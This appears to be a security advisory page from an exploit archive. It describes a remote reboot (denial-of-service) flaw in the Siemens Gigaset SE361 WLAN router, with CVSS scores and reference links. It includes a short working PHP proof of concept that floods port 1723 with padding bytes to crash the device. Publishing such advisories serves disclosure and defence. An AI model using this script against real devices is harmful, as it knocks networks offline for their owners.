Siemens Gigaset SE361 Wlan - Remote Reboot

2009-09-23 / 2009-09-24
Credit: crashbrz
Risk: High
Local: No
Remote: Yes
CWE: CWE-noinfo


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

Attacking port 1723(flood), it restarts the device almost instantly, here's the code in PHP. It takes a few bytes for the AP to automatically restart <?php $apaddr = "192.168.2.1"; $apport="1723"; $con = fsockopen($apaddr, $apport, $errno, $errstr); if (!$con) { echo "$errstr ($errno)<br />\n"; } else { $trash = str_repeat("\x90","261"); fwrite($con, $trash); while (!feof($con)) { echo "$trash \r\n"; } fclose($con); } ?>

References:

http://www.securityfocus.com/bid/36366
http://www.securityfocus.com/archive/1/archive/1/506414/100/0/threaded
http://www.osvdb.org/58199
http://www.milw0rm.com/exploits/9646
http://secunia.com/advisories/36697


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top